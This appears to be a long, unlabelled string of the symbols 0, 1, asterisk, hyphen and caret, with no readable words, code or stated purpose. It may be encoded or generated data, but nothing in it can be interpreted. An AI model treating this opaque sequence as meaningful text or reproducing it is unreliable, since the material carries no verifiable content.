1011***00101*-010^11*-1*0-0-110^--1010^101011*1*001010-011*1^101*001*1010-10-0010^110-0-1*011*101*1^-1*11011*1*1010-0101101**01*001010^101^1010-10-*--10-0^1^-0101*1010^1^-*00-10-^^1101^-00101010-*0--0-101010-1^-1011**1*0011*-1*-00-01101^11011*1010^10101*-00-10-101**1011*0110101^1*^10101101*011011*0-00--00^^--0^-^1101011*0^^1*-^101011*01*01*011*-*^^10^1010101^1^^1101^-1101101*^-01101010^10^110-1*^^1**1*1*0010^101^^^101^101*010-10-1101010^1^-10-1101010^1101010-01^1010101*-10110-0-0-1^-^-0110--^11*1*1011010-010-110101*001010-001^10^1^-10-*11*-*01011010-101*-0^1^^^110101^-1^11*01101011*01*^^110110--00-011*1*011*011*^101010-1*1101*01*-1*11*010-^10^-*00110-0010101011*0--110-^^110-10-00-^1^1*1*0^11011011*-*101*-01011010101010-11010^^10-010^^-0101^101*00-10^^11**00-****00-0^^110110-*00-10-00101*1101011**-00110101*00-10^1*0-010-0101010101101010110^110-*--010110101*01101*10101011**00^110101**1*-*1010-^-10-01011*010--001011*010101*--1*01*0010110^-10-*00--*1*1^-00-00-^10-1101*11010^1101010-*1*11*0011*1^-001010^-010-0101*^-0101101*10^-0110-0-0-0010110^^^1^-00-0-00101^1101^110^1^101011*1*1^1*0-001***0101*11*01011**00-01*1101*010^110101*11*1101*-00^-00-001*01*110-0-00^-01101101*011*01^-0010-10-010^-0110101*01^1010^101*0110101101^101^11010-*110^-1011*-010101101^-**010-1*^10---101010101*0--010-10-0-01*-10^1**001*^11*010-110^-*0010^1*001010^10110-1*01^-110^1*^1011*001*-0010-001*01*1*1^110^-0101*11*10^-0-11*-01**101^-011**0011010110110^110110^10-01011011011*1010101**0110^1^-*010--^1*0^11*0-00110101**001*1010-01*01010-0-0101^110-0101^-11*0-001101*0011*1*01*001*01010-0110110-^1*-010-1010-^^110-0^--01**0-**1011*010110-^1101010110101**1101*010--011010110^-11011011*-0---11011*0110-110-1^101^1*1*11**1*11*01011*-101101011*011*0^1^1*0^1*1101011*-11*^1^-110-0011011011010^11*001*^1*01^-10-*001010-1101^1011*^^----11**-1^1^-1101*011*1*0101*00^1*1*^1*0-01010110-010--*10-011*011*00110-^10^11*1*10101*00^10^11**1010101010110^1*00^10^11*11*110-010^-011011*^1*-01011*0010^-^1*-001*0-*00-*011*0-1^1*11*00-10-01*^10^1^-0^101*00-01011**1*1*001^11*0011010^^-^-*1*-00^1010-11*00101101*^1010--010110-0011*110110101**-1*00^11*1101010-*00--011010101*0-*110101010-010-010110101101*010^^^1010110^1^11010-10-*0--1^1^101010--0--00110--0011*-011*0101*001*01*1010-010^1^1*110-1010101*0-^^110^-**01010---110^1^^-*10-01*00-110-101^^11*-1010-0011*00-10110^1101101^1**00^1^1101*0-1010110101^1101^101010-010^^10101010-11*1^101010-0-0^-0010^--01010-10-110^^^10^-11*01^-00^-^10-0-11*11*-11011*^110101*0010-00-110101**^1*0-010-101^1^-*1^1*001^1*^-0-110^1*1*^-1*1101*0-01010-1010--11010110^11*-1*1101010110--010--^-011**0--*0101***0110101010^10-1*0-^1*0011*0^10-10-0011*00-1011**-0-^^10-01*10-0110-^1^-^101**01*10^1*1^1*00-0-0-0^-10^1**0101010---10^11*1011*01^-0-0^10^^1101***110^10-101^1**00^^1*0-0-010-1^10-01011011011*00-010101^10-^1*1010^--0-^1*10-11010--0^-1*00101010-01***01*1*0-101*011*10^--1101^-101*11*-010-*1011*00101^^1^11*101010-01101011*00110101*0-1101*101*10-011*01011*-0010110^1*0101010-1101*101*00-*1*11*01*-*00110-001*0110^1^11*010^1010110-10-0-01**0-*0-1^1101101^11*01010-1*10110^1^1**00-^^1010110-00-01*^-^1*-00101**00-0^11010-1^-01*0011011*-*101^10-0011*10^-^11*0110-01*-*1010-01*-110-11*0^110-1^11*110110110-*101*101*-01010-11**-010110101^1^101*011*001*^^10^1011*110-0-010^1*010-01010-00-0-^1010-0011*10101101*0^^1101^110-101^11*110-01^10^1^1011*-1*0-1*-001*0-*0-*101010-011010-01*-110101^1^1^-1^^11011*-^10^-^10--01^1*010-00^10-*0-010^1101^10^-0101010-101*0101*00^-0-1^1101^1****011*01010-11*011010110--01011010^1*110101**001010-^10-1*1^1101101010101*00-*01010110101^11*1^1^^1^10-101010^1*--1*00101^-1*1*10--1**10101*1*1^10^1^-0110101010-1*01^-10110^10101*-0-*011010101*01*-10-10-010101^-^11*1**0-1**010-0-011*-101***0^1010^11**-11**1011*001010--0110^10110^1*010-0-0-1*10^1^10101*---01*-110101^^-1***-01*110-001010-^110---0110101*-10110^1010110-10110^-0011010-0110^1011*10^1*0^10-10110-010-^1*101^^1010--**010-*10110-0^11011*-001*00101^-1*1*0-00^-110-0101101011*0^1^101*0^101010^-1**101101101*110-11010-1^^-*1^1^10-1*01*10-01*011*010-*0-*11011010^11***^^11*0101011010101^1*-00-*001101^1^10-1*0^110-001*^-0011*-*0^1^10^^10^^-0101**0101^1*11*1*01*0010-01101010--1**1011*^1101101010-*-**01**--01*00-*11010--1010101*1****010-10-1101*10^-11010^11*00-0-*101^101010-00-0110-*11**010-00-10-10-00110-0010110101010101^1^^-10101*0-0011*1^10-^110101*01*1^10^10-1101*0-00-*00101*0-01010101^101^11*00--00^10^^1*101010-110-^10-101**11*0010^1*0101*--00-0010-001*^110110-10^-11*1*0-011011*1**1^^-10^10--*10--01*011011*-10---0110^-1*1*110-01011*1101101010^-*10^-1101010-10-0^101^1011011*0-01010110-*0101*10110^-01*010^110-00101*1*^10^11010101**0110^-^1011*10-010^11*0-010-01010-*001010^-1101*1^110-*01^101*1^101*00-110-0011010-10110--101010-00101^1*101*10--1*001*110^11011*0101*0-0011010^1101^1^-1*1010^^11*-1^-^101010^1^1*00-*0011*0^-0^110-110-0-11*-^-011010^^-*1**0-*01^-1^-**-00-01^1*-0110-00-101*00^1010110-110-0-1^1*011010-0101101*00-1^10^-*-010-^11*-101^1^-1010101*0-**001011*1011*1*01101^1*01010^1010-*1011**11*1101*01011*1010--^11*0^^10-001^101101^^1010101011*-00--1*110^101**010^10101*0-****1^-001**1011*-*01*1*1*00^10101*0-00^10-010-1**0110-110-001*1**1011*0^-0011*1*001*^-01*-0-101101*001^1*1010-001010-00101*10-10-*0-00-01^10-0-1010^10^-00110^10^110101*1^1^10^110-00101101^-00101^10101*0-01*-*00-001^1*1010101*010101*1011010101^^-0-*010^101^^101*-110-011*01101*10110-01^-10110--10-0011*00^-01*011*001101010^-*1*-0^1*0^1101*1011**10^^110-*110-11011*11*01*10-11*1^10110-11*010-*1^10-101101011*1010110-110110^1*10-^1^101010^1010^10-011011011011010101*101*-001*-110--0^11011010101010110-00^-0101010-*10-001**^-10-11011*-*--010-1^-001*1**-*-*^1011*-1*010101010110^1**-1101*-0010^1^-101010-10110^10--0-0^-0^-1**1011**01^10110-01011010^110-010101*-01^-00^^10110-1101**-01^1*-0-01101*0^110-1*-*0-0101*011*00-001010-0^-0^11011010-101010110110-10^^--^-10^--0011*0110--1*01*11**1^1*0^1010^1**1011*10--01*1*1011*-00-0-10101101101*00101010110-010110-0^-0^1*-*^-110^10-0-10110110-11010-*101010101010--01*^^110^1011**10-11*10101101*10-101011*001010110^10^^1011*0101*110-^1101*01^10110-1*-*-**01**0^110-001101^-^11010-00^10^10--1^11*1*^-110^-^-101101*1^11011010-1*001*0-110101*101010^101010^1101^-01^-10^^--0-0011*0101^101**11010^1*00101010-*1^1^10-0^1^10^1*01011010^^110101*010-^^110-1*1101*0110101*110--01010-101*11*10-*^-00-*1*1101011*0^-11011*10-01^1*0011*001*-110^1010101*00-1**1*^1^1**-10101010^-01*00110-*-01101101010-*101^10-^10110-**1101*01^^1010-^^-101*10^10101*001*-10-01^101*1101101*0101*010-1011**0101*0101010101*00-1^110101*1^10-00110101*10110110101101*-00101^1^1*10101*101101101^-001**1*110^1*0101*10-001*01101**001^-00110-001010^^-*11*-1*^10-110-0-1010-1011010101011*101010-*00-0011010-1*00-101^-*---1*1**0-01*11*1101^1101101101^1*10-1101*-*1*1010-010-*1*110^-10^1011*^^-*0110-0-1*1101011*11*110-*01^-10101^1*10-^-^110^101*1011010-^1*10110-*0-*0-0-^-*1010-*^1010^1010^1101011010-0-01^1*0-010-10101*00110110--1*01^10101101010-^10101^101*0--0101^-1^1101*101^10101^-101101^-11*0^^101^10^1*-1101*11*0110110-110--0101*10-1*01*1*-1011*10^10101101*0^-*-00--1**010110-^1**0-10101^^-101*-011010-0-1*-*-10-10-01^^110-10^-*10110-*110^-1011*010--*0^101101101^110--10^10101*1010110-0101*010^10^1*^10^--*101*10-010-11*01^1^^10110-11*01101101*00110101^110101^11010^^11011*-*0-11010101*01*11011*0010^^110110101010110-*0^^10---0110110101^110^10-110^--*0011*0011**110-110^11010^1*-1^11011*0101*^1^1^^1101^-1010-1^1^11010-01*-0-^1101010-001**1*01010110^10^-110-0-*0010^-00-1*101101^1*11010-11010^-*0^^110^1011**^-10-01*11*--*^10^-1^-10^-1^-*-110-^10-011010-0-01^1*-11*11***01*01*10^-00110110-*-^110^101*00-00^^10^110^-01*110101101*0-101^1*0101*^1010-0-0101*0-*0010-0-1*11011010-101*00101101101*1101*1^-010-101*01011*0011*0110-101010101*10101*-1^1*00110110^101^-*001*01*1101*0^^101011*01*01*00101*101*00-*-1^^1^11*1^1011**0011**^1010110-00^11*001*101101*11*110110--*1010-0010-1*1*1*010-10110101*101*-00-110-^^1^11*1*101*00-0101^1*-0110-110-0101010-00-011011**10^^-*11010110-00-11*10110-*0^---1^-011*^1^1*11010^11010^110-0-^10-001101^-10110-1010-010110-110110--1*001*^-^^1^-0--101^1*-1011011010^11*10-^10-101101101010--01*11010--010-1010-101^-1101010--^1^^-**1101*1^11*101*010-01*1^101*101011*^1*0^1*1^^1^^^11011**-010101*01^1^^110-^1101*10101*0101*0-0-*1^10-0011011*^10^^1*1^11*10^^1101^1*-0101011**01^^1*01^1101*1010-00101*0-1101*1^10-0-011*^10-^1*1^^1^^^1101101*0-010101*01^1^^-110^1101*1*01*101*0-1011*1^1010^11011*^1*0^1*1^1*010^^1101**0-010101*00^1^^1101*001101*11*1*101*0--1*1^10-*001010-0-0^^10-0101*1^10-0-^^10-1010110-*101101101101010-^10110-0-*0110^---0^110--00101*0-1^10101*010110101*1101010^110^1010101010110^1^^110110^11*0011011*0^-0011*110110101101*-0-1101^^^101^10-01*1*10^1^110^11*01101010110-^10^101101**11*01^1*11*1101*10101*-0101*1^^^11*110-01*11*01101^110^10-01101010^101*10^10-0101*11*0101*0-*110-0-01*-010-11*^^1^--101*110^1101^1101**0011010101*0011010^101011011*11*011*00-*110110-001*-0^1101*^^1^1*-01*-10-01^11011010-00101^110-1^101^1^1*00101^-101*0^1101*1^^-101*-0--00110-1*0010101101*001*010110-0-101*11*1*0^^1^1^-*001*^-1*00101^10-*0011*010-11011**0^110-0^110110-0010110^110110101*011011*1101010^-110-^-011*1^1*-010101*^10110-1^1101101^-^110110--1^1101^-1101*0110^10110-0010110110-00^-00^^11010^^10^110101**1^11010-*0-0010101*101011*^^^101^1*^10^-1*0-01010^^10^1101101^^1101011*101^101101011*011010-*0^1010-01^11*^10^^1^1*10-*-1*010-010^^10101*^1^^101011**-01^11011*-011*1101*-0--101**001^10110-*01010-110110^10-1101*11*01*011*11*1*-1*1^1*0-^^-0-00101010-00-*10-011010-*01010-1^1010--^110110-00-0110---0110110--1*-*0-^^1^-01101010-001*1010-01^-11*1010-010-10---101^-00--0010--0-011010-1*11*-01^^-001^101010-^1*010-0-*11*01010-010-10110-1010101010110-1010110110110-10-001^10--0^10-010-^-1*00--110-0010-*01*11*011011*110101101^1010^1*--^^10-11011*1*10-1^-00-01011*-11*00--^-0010-00-*11*0-11*-10^-001*0110^-1^110110^110101011*-*10-01*1*0010-0^101*0-*00^10^1^11010-1*-1*-101***1010-^-010-01011*00^1010101^10110^101011*10101*^1*01*001010101*-^10^11*01*0^-^1^110--*101011*0010^1011*01*0^1*10-101**-*0^1*1011*101010^-0^10^11*110^^-^-0110--*101011*0010^10110^1*0^1*--01**-1*^1*1011*1010101*^^10^1^1011*^-^1010110--*-001*00101*101*01*0^-010-101*0^1*00^1*1011*1010101*1*0010^1^1101010^-^1^^--*-**0010^--0011**110--1**001*0-**0101^11**0^11*10-*-*-0-*01^10110-*-0010-0011*0^10101*^1010-101*^1101010101*1*101010-011*-0--1*0010101*-**10^10-*00110^1***-*011*1*0^10-*1*0-*11*1*-1*1*001101^110^-1101010101*-11*01**-110^1*01**1^1**00^1*1101*00^101***0^-**01*0010-01101*010^1010110110^-^--1^10-0^101011010-001^11010110-11*10^110^11*11*1^-^1*00-0110101*0101^^-0-101^11*10-101^^1010-10-*01*00101*0011*00101^1101**0-01^1*0--01*0^10-01*01^101010110^1^-*1^1011010^^1*01*11*0010-0-01*00^1^^1*00^-0^1*011010^1*0010110101^1101*0101101*01101101*1*0-*1^-110-0-^1*0011010-011010101011010^1^1*10^1011*-010^101^1101010^10110-01*011011011**01*101^11*00^^1*^-^-00-010-1010110-10101*^-0-1*00-01*0^1010^1^11*011010^101*01*-01*01*010101010^1*010-10-01*010110-1^110^1^-101*0101*1011*01010101*10101*001010101101101^101^-11*101010^-10-0-*0-010110^1010110110^1101010101*010-^11*0101011011010101*001101101101101^101*-11*101*-0-0-011*-110101101*110110110^11*10^101*-01*10101*^1^110101*110-0-001101**-*0101*-1*10-^10-0-*11*^^110110101^1^11*01*^^101^^^1*0-011**001^1101011*001*010^10-^10-10^-0-*110--^^-0-110^^-0011**^-00101*00101^1**-1*00-1*00110-011*1*11*10110101*1011010^1011*-*101*101^-0-01^1*01101^-^101^11010^-*00^1*00110-01010^^^^-0101^^^^1011*^^--1*10--0110-*01011011*00^^1^-0011*-^-001^10-1101010-^-10-101*110-110-1*1101101*101*1101^^101^10110-001**-00-1101*^^^^1*01010^1*10-1010^1010110-1^1*1*10^101**011*010^110-00101101010101*00-00101^1*^1010-001*01010^1*11*01^1010-1*011*1011011*011*0-01010^1*10-1*0011010110^^-10110101011*0010-01101^110^1*10-1010101101^^10-*01*011*0101*01*10^^-0-*0011011*^^-1**1011*00^10-01^110^1*10-1010101011*^10-00-*011*0^11011*10^^-0-*001^10-00^-1010-1011*00101**1^110101101^-10101*11010^10-001010^11*0^^1*010^^-0011*0011011**^-^^11011*001*-101^1101*10^-1010101010110^10-*-*11*0101**0010^1*0^11*0011010101*^-^^11011*001*110101^11010-^-110101*1*0^10-00-*011*0^1101*010^1*0^11*001^^1*^-10-*011*001**001^110^101^-10101011010101*1011*10-1*1011011010-*1011010^101*001011010--10^-^-0-^11*01*0101101^10-1011010101*1101010^^10-01011*^10-011*001011*1**101010--110^1101*110-^10-01*01011010--11011010-^1101010^1010-101011*11010-011*00^1^1**101**-110^^--0-^-011*001011010^10-011010-00-01010^-00-01011*-11011011*001**1**10-*0-110^^1010110-^10110-*10110-0101011011010-0-001010^110^^1011*10101101011*00^11011**10-0010-110^^--0-^-0101*01011010^-110110101010-101010^10--01011*10101101011*00-00-**10^1010-110^-^-0-^11*01*010110^10-110110101^-101010^1*0-01011*11010-*-1010-**-1011*1*00-1010-101*10-00101011010-110^1010-1010101*-00-001*^-0110-*0110110-01^^1011*001101*--*01*01101*10-0101*1010-11011*00-101010110110^-0010101010110110-0-010110-01^-1011*001101*00-1*01*01011*10-01101101010-11*10^-101010^^^-001*1*110110-**0110-01^1*011*001^1^-11*01*10101*10-010-01010-110-*0-10101*0^^-00101*10110110-01*-10-0110-11011*001101*0-11*0^1*11*10-0^1101010-1^^^-101010101010^-0010110110110110-0010110110-011*101011*001^^10-1*01*01011*10-0101*1010-110-1*-101010-110^-0010101^--101*00110--0101^110--010---101101*0^1011*01*101010101^^11010^-011*0^-0011010110-11*01010-001*10-10110--1*1101*-01101101*0^^^-01*1*0^-0011010^^-0-110^-1101101010-1101101^11*10-001101^1^1*01^1101*-10--01*^101*010^101010-*110^1*11*0-0-110-1^-110110-101*10-001011*1^1*0^10101*-10--01*^101011*^101010110^110^1*10110-10-110-1^-11011010-*010-00-01101^1*0-11011*-10101^11*^10-^1^10101011*0010^1*10^10110-110-110--0110-101^10-00^10101^1*011*001*-10110^11*^1011*01^1010101^11010^1*1101010110-11010^--10110101010^10-00^10101^1*01011*1*-10-11011*^10-0101^101010-011010^1*10^10110-110^10--1011010-1^10-001*1101^1*010^-*-10110^11*^10110^1^101010--010^1*1011010110-110101010-1010^1011*001010^101011*1010^-0^1011*01^1010-01^-11*110-0-^^10^110-011011*0010-1*101010-110-011011*-10-0-1011011*0--*01101*-101^1^1^110-0-1^1010^11011*0011*0010110^1101010--010-011*-1*--0110-1^-0^--00^10^--1^110^---011*^--0101*0-10-1101*10---0101^-0101^1101*-1011*0^-101^^110---1101^110--10-00110-^^1^1101^10^^101^-1011010-^10-00-101*^^^-*00-0011011011*^10110-0^11*-*001*-10-1**01101010-11*-0010--*10^--11*10110-110^11010101101*0-00110101*--01101**00--11*00110--01*110101^-*1010-10101*101*0-^110-0^-0^1101*0-00101101*-1^1***001^-**110110-00^11010-00101101010--010-01*01^1*-10^-110-01*0-0011*1*---***0110-**01101^^1*11010--*01010-110-10101*0-110^-0^-01010101*0-10101101*--0^1**0011*101*001101^^1*11010110101*01010-11*110101*011*1^-0^--01101*0-10110101*-11*101**00--1010^10-^10110^10-00^110^10-*001*-01*01**01*0011*0-0-*0-101010^^-01*10-1**00101^1^1101011*001*10^--00^1^10110-0^101**01*0010-0-0-*0110101010^1*001101010-1*-00101^11*101011*001**--1^1*101*10-01*0011*001**01010-0-*101^1010^^101^1010-^11*0101^1^1*011*001*10110--00^-010110-0^101*1*1***-110-*0101101010^1*101101010-^101*101^11*10-1*001*00^--001**10110-01*00-*01**01010-0-*101^1010^^101^1010-^11*0101^1^1*011*001*10110--00^-010110-0^101*1*1***10-0-*0101101010^1*101101010-^101*101^11*10-1*001*00^--001**10110-01*0011*001*00-1^110-*00-01010^^1^101010-^^1101*11*0010-*011*0-001*011*00^-0010-1010-01101*01*1^11010110^^101^101010-10--0-0--1**01*-010^^1*10^-*1101101*0010-^-001101*0^1*011010110101^10-10101101*010-01011010110-110101^1^-10^101*0-^-101010101*01*0110^1*0-001010-*^^-101*1*1101^^-0110101^^1010110101^1*01011010-11*01011*-001^1010^^-*1101^1*011*00-0-^10-11*10101*1011*0-00101*1101010101^110101101101*001011*^-^1010^-101^1101^1^-*00-0^^10-11*-00^1011*010-101*11010-1*01101011011**01011*^1*001010^10-1^1101^-1011*00-0110-10-11*^-001011*011010101*1101011011*1101011010^1*1011*^-^1010^-*^1101^-1011*00-01*0010-11*10-*1011*01101*1*11010-1*01101011010^1*1011*^1*001010^1**001101^10101**^1010-011*^101*1011*^10-010^10101**1^101*1*010110-0101*-01101**01*^1*11*010101**0^^101*00-*^11*1101^^11*10101*1101^101*1*0010101^1*0^^10^1*0-*00^1*01011*0101^-11*0-*0-*^1*00-11**-0101^1101*-10-00-1^10-110^^10110-0011010^--010^1^--0-*^--^1*1**0010110-^1*0--0011*^10^-010-*-00^1**001101^1011*00^11*101*0-1010-011*01^11**00-0-1^1*0^10^11010^-01*11010^-1101011010^1010101*0-0101*101011011010110^11010^11**001*10-110^1101010^^-1**101^1*001^-001101*0010110^101^1*-0^-001*101*001^1*10101*^--101011010-1011**110-10-**10-1011**010-00^10-00^-101^1**0-0-0^10101101*-11011*01*10--0-1*010-11*1^--1101101101*10110-00^1101010^-101011011*00-0--010101101011*11011*0^1010-110-^-110-*110-011010^101*00-10^101**0110^1010-^--001^1*-11010110^10-00110-10-11010--00-10101^1^10101*1*-010^10-0-00-110-0-110---^-10110-11010110-10-001101^110-010--10-00101^-*-*1*-101^10-0-00101010-0-1^^1101^-10-01101^-1^-101^-11*-00^-0--^--1*00110^-1*00-1*10-10101^1^-101^10101^-00^-01^-*-1101^1^10-110-*001^1010^^^-1010-^1^-01^11*0-01*001*0101^-^1*01*110-0^^101*01**0010-10-*--1010^1*001011010-^^-101^11*11*1*001*0101^-^1*11010110-0^^101*01**-0-10-*0--010^1*10-1010-^--101^1^101^1*001*01^--00^1*00110-01*00101*01**0^-10-*110-1010^^^10^10-1*-10101^11*-101*001*0-00-1^^1010-^11*00--*11**-01*11*001*0^101010101^1^^^101**0101*1011011*01*01011*00-00101*0^-0-011*0^110-0--*110-0101011*11***0-1*001*-1010-01*010101^-1**-0^1011**0110101101*0110-10101**0-11011*0110--1**-10-*00^11*110-01*110101^-1*0^110^101^--1010110^10^10110101*1*00-011*0-0--**-*11*00^-0101*-1*010-^-1*0-01^-1*-001101^1^1010^101*^-*10^-011*10-0-^-01101*10101*-1*^^1011**0-01*11*001011*0-*1^11***101*10-*010^-01011010-0-^--01*101*-101^1101011010^^11010-11*^110^^1*00-11011*0-0^11*10-010-01011010110101*10-10110110^10-*1*0101^10^--1010^10-011010101^1*00-11**0-0^1^-011010-01*0-10101*1*-110110^101101**0101^1010--110101*0-01101010110-*0-11*10-^10-00-011*10-0-*1*10-0011010^1^1010-00-*^1011*01*1^1^101*^110-0110-1010101010110101^^-0010101101*1010^10101*010-01^10-01010^^10-011010-0010-0110-1^1^-110101^--10101011*00-^1*101^1011*0101^^-10110-10110-00^^-*-1010-0-10110^-001^--01*0--1*0-*00-^^1101^10-1^-00^-01*0-0110-1101*0-*11*010110-10-10110^1^-*110^---*01*00-1*101101^10-*0-00^-^110-0110-^-00-*-0--0-10-10110^1^-011010^---1*1*00-1010101101^101^1^1^^-110^-0110-0^1*-*1^1010110-10-1010110-^11010^10-^1^-^-^1^-1^^10110-^-0^-0110^1^-101101^11010-*10^10^-***11*-001^11*--110101*--01101*^10-010^-0^-0110^1^-1*01^11010-110-0010^-01011*011*-001*11*-1*01101010110-*01*10110-1011*0101101^101*11*11*01101*1010^101101010-010^1^-10-011*1^-0110-*1101101010110^110-0010-00-**1*-0-1*110^1011*1010^101101010-0101011*-10-01^10^-0110101^11011010^10110110-0010-00-**10110^-1*11*01011*10101*00101010-01*01*-10-***0-011*110-01101010^^110-0010-^11**10-----0-010---0110----011*--1*-00--10^1*00-^1^1101*11010-01**101011*10-011*1*011*01010-010-0-10-011011*-101^10-0-0101^101**0101^101*1*1101^--010-^-1010-00--110--011*-10-110-10--0-*010110-00-^-1*^1*1*-*0110-10-0010110-110-0-*-110-011*0110-**1010^1*00-001*0-^110-*0^^-10^10101*0^1^10101*-*0010101*11**110-^10110^^-0^1^1*1101011*0101*0010-^-00-10101^-*01^^10--01101*0-*01010-11011*0101*010-*01010-10-*10-^10-*0-1*00-0--1^10-10-011**^1010-*-1011*-1*1101^^-0-11*0010110^-1*10-10^-1*001^^-1*001101*0-*00-10^-*1**-^^1^-00-101*0010^-0011*010-*01^^110110--1^1^1010-*00-01010-11*110110101*1*--^^11*00--01*0011*0110-01*1*0^-0^-001^-01*01101101101***^1^1**11*10-*001101*-11*1010101^1**-001***-00^1010^1011*-0011*^1^1101*010110^1^1*0^1*10-*-011*-11*1101101^1*00101^1**00^110^1010^1010^101*1*001*001*1*10101*1*^10^1*00^1*^110--10-*^110-0^1*^-01*011010101*^10^-0-110-010-0^110^110-10101101*0-*^1*010110--1*00101*101010^1101^101010--1^1010101010-11*1^1*0-11011*-**1**0^^1010-00^1*101*1**^^1101*010110-11*001^1*00-*0011*1*11*0-0-1011*10-*01**11*00-001*-*0-001*-0010-001*0011010-^110101^^11010^1*0^1101010^101^110101*01011010110^-0110110101^110-0-0-0010-001*11*10-*-10^^-*1^1*0110-001*0010^10^1**101*^1**011*1*--0-*1*0-0-1101^110-11011011*001^11010-1^110-*^110-0011*0110110-0^1*^10-1*-*--^1*1*0-^-01^110110^11011*0011*0010-1^-1^10^110-01^^11011011011***-110101101*0-10^^1*0-110-00-11*0-001*00-0010101^1*1^1^--011*110-*1***01101010-*1^10101*1*1^10^1101*010^-11**0101*00-001^1*1*1^110--1011*001101*1**10101101010-*1*10101*1**110^1101*001^-11*0^-*00-00110-001*11*0--11011*11*1*1**1101^1010-*-*101*1**110^1101*010^-11*001011**-*-0^1*11*0--11011*110-*1**0-0101010-*1*10101*^-0010^110^1011010-001*1101010-001*001^-^1*0011*10-0-1*0-001*1^1*0010-0-^^110^-1^110110--1*^-00-101^101*010-1*^-00-^1*00-0-0-101^1*-0011*10-0-11*0^1^110-*^1^-1*10^1^11*10101*0110-^110^10101*10-1*^10-0-^1*^-101*-010^-1*-0-001011*-0-10101101*0-1^10-0^-1*1101*0-11*101*--01101**0011011011*00110-00101*110101101011*^10-*01^^10-1^1*^10-00101**11*^1*11*1^^-011*1^1101^11*11*101^10^10-0-101010^1^10^^1*110-110-^-010101**10-0011*^110-11010-^-1011011*1010-0101*10^101^1*01010^-101*^1*1^10110-^-010-**10-0-*^11011010110-^--1**1010--^110^10-001^1010^--^^1*-10-0-^-*0-*00101^-010110-11*1*-0---110-0-110101010-01*00^10101^1^-11010110101*1**10^^110101*11*00-101011*1^^1^1*-00101*^^1**1*-01*0011*001^11*^101011010^^11*10^^^101*11*00101101011*11*-1011*-***00^1*-010-101*01**01^11*^1010110101*01^1010^^110101*11*001*0-1*1^101^1101011**11*01011*-101*1011*^-00^11010-0110-00-00--00101011010-1010^101*0-01010^^-110^1*^-*-^11*101010110-^^110-0-101010^-0-^^^101**-10^11011*10--11*1*0^-110-*1010-0101*010-0110101*0011*110101*001*0-001**110-1*11*0-001^101*010--^^1*101^1**10110101^11*01**10-00110^11*01*00^110^1*00^-11*1^10110-^101*10--1^^-1101^1*00101010101^1^-101^10-00^-01*01*01101*^1*00-^11*1^10110-^10^1*0--001*001010^1**01010101^11*01**10-00-^11*01*010-10^1**110-1*1^^1^1^101*10--1^1*-101^1*00^110101^1^110-^10-*01^11*01**00110^1**010-1*11*1010-^101*00--1^^1*1011*11*0101*1*11**01011*11*0010^10-110110110-10-001011010^101010--11011*101010-01^1*-01011*00^-0-11*1010---*0110--1010-11010--110-001*010^101010^-11011*10--101^1*11011011*00^101*-*1010^110101*0110-1^110-110-0110-0-00^1^^101010101*11011*101^10101^1*-01011*00^10--1*10101*10-*0110--1010-1101^--0-001101^^101010^10-011*101010-01^1*11*011*00^101*-*10101*-11*011010110-10-110-0110-0-00-0010101**1010110-**1101*011**-1*-*-^1101^11*1101101^-^110-*110^-00^1*0--1101101^1*11*1101^-0110-00110^10--0-1*--00-0011*11**10-^-001*110^-1*101*--00-01^1*11**1^-011010^110^10--0-1*-110-*011*1101101^-^110^^110^-10-01*---1010^1*--010^-0-10^110^10110110-11*-1101101^11*11011*10-^110-*110^--0101*--^1010^1*-010101^-011*^110^10110-0-1*-1*11*011*1101*010-^11010--0^-*0101010110-010-0110110-01*-10110-01^101010-01*10^11*10^11*-01^10-*-*00--1011011*--1010-0101010-00^1^101***0^101011011010-0101101*11*1010-^10^110110-1010^110^1101010^110101^10110101*^101*10101*00101^1010^1^-0010101*^-001*-*101*1010-*0101101010-*^1101010-^^-0-10101*1^1*00-0-*1*00101*1*1*00-*1*11010-1*1^-0-1*10^110-110^11*0--0-010110110110-001^110--0-110^-0-1^-^-0110--*1^1*10-*-1011010-*-^101**10-1^10^-0^10-11**-00-1^1^101*--0^-1^1^1011010^-*0101011*0-*101011*-1*1010-10-11*00101*-1*110101010101**1101101011*0-10--^110-0^^10^^1*-010^^1*1^10^^10^^10-^11*01*-0-110110^-10-110^101*0-*001*-101^1011*-101^^1*-1011*001*^11*-0-*11*0101*01**0^1*1^-001^^11*0^1*^-110^11*10^11*0^1**001*-1^1*01*1101*1*01*0011*10-10-001*^10-11011*010110-^110-010101^-101101^1^10101^--0-110^--^1010^--00110101*0-11*1**10-0-01*1^-0101*0101*-010^10^-10101010-0-110-01101*10110-0101*^---*00-101101**10-*101*1^--01*101*-*^10^-1*0010-0--^-01*10-^1101*^1101^1**--0-*0010-0-01*1^-0101*0101*-10110110^--110-110-1101^1101*10-0101101*^11*001**---1*0010-001101^1^-**00101*11**010^--0-0-0--*01101*10-*0-*^110^-*00-^-1*0010-*001*1^-^1*0101*1^1*010^-10^--0-1101*^1*10-*0101*^1101*11*00--1101*0010-11*1^1^--11010101*-*00110^-1^1010-0--00101101*101101101101*^-11011**-^-1*0010-*001*1^-^1*0101*1^1*010^-10^--0-1101*^1*10-*0101*^-1*11*00--1101*0010-11*110^11011*1*0^110-1*010^110-0011*10101*0110110-011*0011*1*-0010101*-1**-1*0^1*-010^^1*10-0^^1*-11010101*1*0-110-1010-101^1011011*1*0-^-0^-11*0-*010--0-*010-00101*01010^101011010-00101*1*0-110-1010-101^1011011*1*0-^-0^-11*0-*010--0-*010-00101*01010^101011010-00101*1*0-110-1010-101^1011011*1*0-^-0^-11*0-*010--0-*010-00101*01010^101011010-00101*1*0-110-1010-101^1011011*1*0110^1010101*110^10-11*110^110^^^^-^1*0---0-10-0-1*1010110-0-101011*1*1101*-101010-10^-0101011**-01010-01*11*11*-*00-101***001^1*^101^11*0-01*10101*1^^1101101*11*01101011*001010-0-***1*11*110-10-10^-^^1^^1101101^11*0010^1010101*-1*^1**010110^1**010110^1*00^-0^101^^1*10-1*101*10-**01*--1^101^-1^1*00110-00101*1010-0101*011011*10-^--*01011*10-110-1*011*10-**10110--1^-*-1^1*11010-00101*-^10101**11011010-1*0-11*1011*01011010-1*1^1^-**10-0--^-010-1^^101^-0010^-010110101*0-1101010-1**-*101^101011010-1*11*010-*00-00---*1^--00^-10-^101*01^110101**10101010-^^-1*1011*11011010-1*10^110-**10-1101101*-^1101101***0101101*11*0--*1010--110^1011010-001^1*10-010-0-0101101011*^1*1*1*0--0010-0101*^10-011010-0--1*-*0-110^-1*1101^10^110-01^10110110-01^10-^-10-1011011011010^101010-10110101011010101*01*11*00--11010^-1011011011*01*0-00-^-101*0101^